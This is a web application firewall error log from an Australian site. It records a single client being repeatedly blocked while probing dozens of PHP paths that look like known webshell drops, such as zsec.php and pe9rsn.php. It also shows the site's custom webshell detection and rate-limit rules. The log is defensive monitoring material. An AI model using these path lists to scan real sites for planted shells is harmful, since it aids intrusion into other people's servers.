[Wed Feb 25 02:55:09.495509 2026] [:error] [pid 26872:tid 26885] [client 20.216.146.160:30830] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aZ30DXxLbzvRGuzwKjkdSgAAAEs"]
[Wed Feb 25 02:55:10.257445 2026] [:error] [pid 18447:tid 18766] [client 20.216.146.160:32461] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aZ30Ds-TpHVc8yBj5ebEpgAAAgM"]
[Wed Feb 25 02:55:11.633777 2026] [:error] [pid 26872:tid 26897] [client 20.216.146.160:35408] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aZ30D3xLbzvRGuzwKjkdTwAAAFc"]
[Wed Feb 25 02:55:12.513574 2026] [:error] [pid 18850:tid 18853] [client 20.216.146.160:32477] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/templates/beez/index.php"] [unique_id "aZ30EODBmHucoAJRnqkkvwAAAAE"]
[Wed Feb 25 02:55:14.432747 2026] [:error] [pid 26872:tid 26892] [client 20.216.146.160:30807] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/templates/beez/index.php"] [unique_id "aZ30EnxLbzvRGuzwKjkdVQAAAFI"]
[Wed Feb 25 02:55:15.261902 2026] [:error] [pid 26872:tid 26895] [client 20.216.146.160:11738] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/templates/beez/index.php"] [unique_id "aZ30E3xLbzvRGuzwKjkdVgAAAFU"]
[Wed Feb 25 02:55:16.315207 2026] [:error] [pid 18441:tid 18713] [client 20.216.146.160:37004] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/templates/beez/index.php"] [unique_id "aZ30FBYF1wpOnXIaHlOnBwAAAMU"]
[Wed Feb 25 02:55:18.432364 2026] [:error] [pid 26872:tid 26885] [client 20.216.146.160:40591] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w.php"] [unique_id "aZ30FnxLbzvRGuzwKjkdXAAAAEs"]
[Wed Feb 25 02:55:19.989461 2026] [:error] [pid 26872:tid 26894] [client 20.216.146.160:39018] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w.php"] [unique_id "aZ30F3xLbzvRGuzwKjkdXwAAAFQ"]
[Wed Feb 25 02:55:21.109599 2026] [:error] [pid 18850:tid 18866] [client 20.216.146.160:11052] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w.php"] [unique_id "aZ30GeDBmHucoAJRnqkkzQAAAA4"]
[Wed Feb 25 02:55:23.074140 2026] [:error] [pid 26872:tid 26888] [client 20.216.146.160:39017] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w.php"] [unique_id "aZ30G3xLbzvRGuzwKjkdZgAAAE4"]
[Wed Feb 25 02:55:25.770644 2026] [:error] [pid 18441:tid 18728] [client 20.216.146.160:40623] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/system.php"] [unique_id "aZ30HRYF1wpOnXIaHlOnDAAAANM"]
[Wed Feb 25 02:55:26.955460 2026] [:error] [pid 26872:tid 26890] [client 20.216.146.160:39433] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/system.php"] [unique_id "aZ30HnxLbzvRGuzwKjkdcAAAAFA"]
[Wed Feb 25 02:55:28.211377 2026] [:error] [pid 18458:tid 18805] [client 20.216.146.160:39004] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/system.php"] [unique_id "aZ30IAuir-tBe4tUismkQAAAAos"]
[Wed Feb 25 02:55:29.185613 2026] [:error] [pid 26872:tid 26898] [client 20.216.146.160:39286] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/system.php"] [unique_id "aZ30IXxLbzvRGuzwKjkdeAAAAFg"]
[Wed Feb 25 02:55:43.103840 2026] [:error] [pid 26872:tid 26885] [client 20.216.146.160:40945] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new.php"] [unique_id "aZ30L3xLbzvRGuzwKjkdmwAAAEs"]
[Wed Feb 25 02:55:43.850219 2026] [:error] [pid 18850:tid 18852] [client 20.216.146.160:40932] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new.php"] [unique_id "aZ30L-DBmHucoAJRnqkk5wAAAAA"]
[Wed Feb 25 02:55:45.392145 2026] [:error] [pid 26872:tid 26882] [client 20.216.146.160:44204] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aZ30MXxLbzvRGuzwKjkdngAAAEg"]
[Wed Feb 25 02:55:47.008419 2026] [:error] [pid 18447:tid 18781] [client 20.216.146.160:31283] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aZ30M8-TpHVc8yBj5ebEuQAAAhI"]
[Wed Feb 25 02:55:47.750979 2026] [:error] [pid 18458:tid 18796] [client 20.216.146.160:50907] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aZ30Mwuir-tBe4tUismkSQAAAoM"]
[Wed Feb 25 02:55:50.094036 2026] [:error] [pid 18850:tid 18872] [client 20.216.146.160:37744] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x.php"] [unique_id "aZ30NuDBmHucoAJRnqkk8AAAABQ"]
[Wed Feb 25 02:55:51.460169 2026] [:error] [pid 18447:tid 18768] [client 20.216.146.160:39083] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "aZ30N8-TpHVc8yBj5ebEwAAAAgU"]
[Wed Feb 25 02:55:52.179869 2026] [:error] [pid 18447:tid 18773] [client 20.216.146.160:55661] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "aZ30OM-TpHVc8yBj5ebEwQAAAgo"]
[Wed Feb 25 02:55:53.396211 2026] [:error] [pid 18447:tid 18771] [client 20.216.146.160:36845] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "aZ30Oc-TpHVc8yBj5ebEwgAAAgg"]
[Wed Feb 25 02:55:57.522725 2026] [:error] [pid 18447:tid 18786] [client 20.216.146.160:11070] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "aZ30Pc-TpHVc8yBj5ebExAAAAhc"]
[Wed Feb 25 02:56:00.639638 2026] [:error] [pid 18458:tid 18809] [client 20.216.146.160:40846] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/pe9rsn.php"] [unique_id "aZ30QAuir-tBe4tUismkWwAAAo4"]
[Wed Feb 25 02:56:02.903115 2026] [:error] [pid 18850:tid 18864] [client 20.216.146.160:35061] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/pe9rsn.php"] [unique_id "aZ30QuDBmHucoAJRnqkk-wAAAAw"]
[Wed Feb 25 02:56:04.526545 2026] [:error] [pid 18458:tid 18795] [client 20.216.146.160:38324] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/pe9rsn.php"] [unique_id "aZ30RAuir-tBe4tUismkYAAAAoI"]
[Wed Feb 25 02:56:05.754798 2026] [:error] [pid 26872:tid 26891] [client 20.216.146.160:30381] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/pe9rsn.php"] [unique_id "aZ30RXxLbzvRGuzwKjkdyAAAAFE"]
[Wed Feb 25 02:56:11.961321 2026] [:error] [pid 26872:tid 26881] [client 20.216.146.160:36810] [client 20.216.146.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aZ30S3xLbzvRGuzwKjkd3AAAAEc"]
[Wed Feb 25 02:56:15.591485 2026] [:error] [pid 18458:tid 18793] [client 20.216.146.160:40861] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/core.php"] [unique_id "aZ30Twuir-tBe4tUismkgwAAAoA"]
[Wed Feb 25 02:56:16.496231 2026] [:error] [pid 18458:tid 18801] [client 20.216.146.160:40003] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/core.php"] [unique_id "aZ30UAuir-tBe4tUismkhAAAAoc"]
[Wed Feb 25 02:56:17.165654 2026] [:error] [pid 18447:tid 18787] [client 20.216.146.160:41555] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/core.php"] [unique_id "aZ30Uc-TpHVc8yBj5ebE2gAAAhg"]
[Wed Feb 25 02:56:17.991984 2026] [:error] [pid 26872:tid 26874] [client 20.216.146.160:36809] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/core.php"] [unique_id "aZ30UXxLbzvRGuzwKjkd5AAAAEA"]
[Wed Feb 25 02:56:19.488999 2026] [:error] [pid 18850:tid 18852] [client 20.216.146.160:34589] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aZ30U-DBmHucoAJRnqklIwAAAAA"]
[Wed Feb 25 02:56:20.347761 2026] [:error] [pid 26872:tid 26898] [client 20.216.146.160:33641] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aZ30VHxLbzvRGuzwKjkd5wAAAFg"]
[Wed Feb 25 02:56:20.937900 2026] [:error] [pid 18447:tid 18780] [client 20.216.146.160:43068] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aZ30VM-TpHVc8yBj5ebE4AAAAhE"]
[Wed Feb 25 02:56:22.062068 2026] [:error] [pid 18458:tid 18819] [client 20.216.146.160:36881] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aZ30Vguir-tBe4tUismkiwAAApg"]
[Wed Feb 25 02:56:23.587168 2026] [:error] [pid 18441:tid 18720] [client 20.216.146.160:31206] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/log.php"] [unique_id "aZ30VxYF1wpOnXIaHlOnHgAAAMw"]
[Wed Feb 25 02:56:24.428595 2026] [:error] [pid 18458:tid 18799] [client 20.216.146.160:40030] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/log.php"] [unique_id "aZ30WAuir-tBe4tUismkjgAAAoU"]
[Wed Feb 25 02:56:25.226148 2026] [:error] [pid 18458:tid 18817] [client 20.216.146.160:33634] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/log.php"] [unique_id "aZ30WQuir-tBe4tUismkjwAAApY"]
[Wed Feb 25 02:56:26.219432 2026] [:error] [pid 26872:tid 26877] [client 20.216.146.160:42106] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/log.php"] [unique_id "aZ30WnxLbzvRGuzwKjkd7QAAAEM"]
[Wed Feb 25 02:56:27.146039 2026] [:error] [pid 18458:tid 18804] [client 20.216.146.160:42108] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zsec.php"] [unique_id "aZ30Wwuir-tBe4tUismkkAAAAoo"]
[Wed Feb 25 02:56:28.568969 2026] [:error] [pid 26872:tid 26895] [client 20.216.146.160:11703] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zsec.php"] [unique_id "aZ30XHxLbzvRGuzwKjkd9AAAAFU"]
[Wed Feb 25 02:56:30.202359 2026] [:error] [pid 26872:tid 26898] [client 20.216.146.160:40967] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zsec.php"] [unique_id "aZ30XnxLbzvRGuzwKjkd-QAAAFg"]
[Wed Feb 25 02:56:31.142997 2026] [:error] [pid 18458:tid 18809] [client 20.216.146.160:44478] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zsec.php"] [unique_id "aZ30Xwuir-tBe4tUismklwAAAo4"]
[Wed Feb 25 02:56:32.668649 2026] [:error] [pid 26872:tid 26877] [client 20.216.146.160:40964] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/erinyani/"] [unique_id "aZ30YHxLbzvRGuzwKjkd_wAAAEM"]
[Wed Feb 25 02:56:33.905342 2026] [:error] [pid 18850:tid 18854] [client 20.216.146.160:37381] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/erinyani/"] [unique_id "aZ30YeDBmHucoAJRnqklLQAAAAI"]
[Wed Feb 25 02:56:34.612001 2026] [:error] [pid 18850:tid 18863] [client 20.216.146.160:36436] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/erinyani/"] [unique_id "aZ30YuDBmHucoAJRnqklLwAAAAs"]
[Wed Feb 25 02:56:35.793020 2026] [:error] [pid 26872:tid 26893] [client 20.216.146.160:37396] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/erinyani/"] [unique_id "aZ30Y3xLbzvRGuzwKjkeEAAAAFM"]
[Wed Feb 25 02:56:36.851926 2026] [:error] [pid 18458:tid 18800] [client 20.216.146.160:31080] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hi.php"] [unique_id "aZ30ZAuir-tBe4tUismkoQAAAoY"]
[Wed Feb 25 02:56:37.953472 2026] [:error] [pid 26872:tid 26892] [client 20.216.146.160:37320] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hi.php"] [unique_id "aZ30ZXxLbzvRGuzwKjkeLAAAAFI"]
[Wed Feb 25 02:56:38.965404 2026] [:error] [pid 18850:tid 18875] [client 20.216.146.160:39864] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hi.php"] [unique_id "aZ30ZuDBmHucoAJRnqklMgAAABc"]
[Wed Feb 25 02:56:39.828250 2026] [:error] [pid 26872:tid 26883] [client 20.216.146.160:40746] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hi.php"] [unique_id "aZ30Z3xLbzvRGuzwKjkeMQAAAEk"]
[Wed Feb 25 02:56:40.982188 2026] [:error] [pid 26872:tid 26895] [client 20.216.146.160:11794] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/cong.php"] [unique_id "aZ30aHxLbzvRGuzwKjkeMwAAAFU"]
